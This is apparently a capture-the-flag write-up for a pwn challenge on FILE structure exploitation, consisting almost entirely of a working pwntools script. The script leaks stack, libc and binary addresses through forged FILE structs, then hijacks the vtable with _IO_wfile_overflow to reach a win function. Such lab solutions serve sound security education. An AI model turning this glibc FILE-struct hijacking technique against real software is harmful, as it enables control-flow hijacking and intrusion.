(File Struct Exploits) level 13
(File Struct Exploits) level 13
Information
- category: pwn
Description
Apply FILE struct exploits to write data and hijack control flow.
Explit
RIP future me reading this exploit with no comments 0-0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/env python3
from pwn import *
exe = ELF("/challenge/babyfile_level13")
context.binary = exe
def conn():
if args.LOCAL:
global r
r = process([exe.path])
#gdb.attach(r)
else:
r = remote("addr", 1337)
return r
def new_note(idx, size):
r.sendlineafter(b"> ", b"new_note")
r.sendlineafter(b"> ", idx)
r.sendlineafter(b"> ", size)
def write_note(idx, data):
r.sendlineafter(b"> ", b"write_note")
r.sendlineafter(b"> ", idx)
r.send(data)
def open_file():
r.sendlineafter(b"> ", b"open_file")
def write_fp():
r.sendlineafter(b"> ", b"write_fp")
r.recvuntil(b"fp -> ")
buf = int(r.recvline()[:-1], 16)
return buf
def write_file(idx):
r.sendlineafter(b"> ", b"write_file")
r.sendlineafter(b"> ", idx)
def main():
r = conn()
r.recvuntil(b"writing to is: ")
stack = int(r.recvline()[:-1], 16) + 0x68
new_note(b"0", b"8")
write_note(b"0", b"AAAA")
open_file()
fp = FileStructure()
fp = fp.write(stack, 0x10)
write_fp()
r.send(bytes(fp))
write_file(b"0")
r.recvuntil(b"fp);\n")
puts = u64(r.recvline()[:-129].ljust(8, b"\x00")) - 378
libc = puts - 0x84420
_IO_wfile_overflow = libc + 0x1E8DC0
fp = FileStructure()
fp = fp.write(stack + 0x30, 10)
write_fp()
r.send(bytes(fp))
write_file(b"0")
r.recvuntil(b"fp);\n")
elfbase = u64(r.recvline()[:-122]) - 0x211C - 201
buf = write_fp()
win = elfbase + exe.sym["win"]
fp = FileStructure()
fp._lock = buf
fp.chain = win
fp._wide_data = buf
fp.vtable = _IO_wfile_overflow
raw_input(b"DEBUG")
r.send(bytes(fp) + p64(buf))
write_file(b"0")
r.interactive()
if __name__ == "__main__":
main()
This post is licensed under CC BY 4.0 by the author.